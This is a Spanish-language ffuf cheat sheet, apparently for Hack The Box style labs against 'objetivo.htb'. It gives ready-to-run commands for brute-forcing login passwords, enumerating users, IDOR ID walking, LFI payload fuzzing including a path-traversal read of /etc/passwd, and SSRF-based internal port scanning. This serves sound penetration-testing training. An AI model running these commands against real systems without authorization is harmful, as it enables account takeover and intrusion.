ffuf
Fuzzer web muy rápido para directorios, vhosts y parámetros, con filtros por tamaño o código.
Instalación
sudo apt install ffufComandos
- Contraseñas en un formulario
ffuf -u http://objetivo.htb/login.php -X POST -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -fr "Invalid" - Usuarios y contraseñas a la vez
ffuf -u http://objetivo.htb/login.php -X POST -d "username=U&password=P" -H "Content-Type: application/x-www-form-urlencoded" -w usuarios.txt:U -w contrasenas.txt:P -fr "Invalid" - Usuarios válidos por mensaje distinto
ffuf -u http://objetivo.htb/login.php -X POST -d "username=FUZZ&password=x" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -fr "Unknown user" - Login en JSON
ffuf -u http://objetivo.htb/api/login -X POST -H "Content-Type: application/json" -d '{"user":"admin","pass":"FUZZ"}' -w contrasenas.txt -fc 401 - ffuf
ffuf -u http://objetivo.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php,.txt,.bak -fc 404 - ffuf recursivo
ffuf -u http://objetivo.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 2 -fc 404 - Copias de seguridad de un archivo conocido
ffuf -u http://objetivo.htb/index.phpFUZZ -w <(printf "%s\n" .bak .old .orig .save .swp ~ .txt .zip) - Con sesión (cookie)
ffuf -u http://objetivo.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -b "PHPSESSID=tu_cookie" - Filtrar por tamaño, palabras o líneas
ffuf -u http://objetivo.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 1234 -fw 12 -fl 40 - Pasar ffuf por Burp
ffuf -u http://objetivo.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -replay-proxy http://127.0.0.1:8080 - ffuf por cabecera Host
ffuf -u http://objetivo.htb -H "Host: FUZZ.corp.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0 - Buscar parámetros GET
ffuf -u "http://objetivo.htb/index.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0 - Buscar parámetros POST
ffuf -u http://objetivo.htb/index.php -X POST -d "FUZZ=test" -H "Content-Type: application/x-www-form-urlencoded" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0 - Recorrer IDs (IDOR)
ffuf -u "http://objetivo.htb/api/users/FUZZ" -w <(seq 1 1000) -fc 404 - Rutas de API
ffuf -u http://objetivo.htb/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -fc 404 - Probar una lista entera con ffuf
ffuf -u "http://objetivo.htb/index.php?page=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0 - Buscar el parámetro vulnerable
ffuf -u "http://objetivo.htb/index.php?FUZZ=../../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0 - Escanear puertos internos con ffuf
ffuf -u "http://objetivo.htb/fetch?url=http://127.0.0.1:FUZZ" -w <(seq 1 65535) -fs 0 - Buscar la carpeta de subidas
ffuf -u http://objetivo.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -fc 404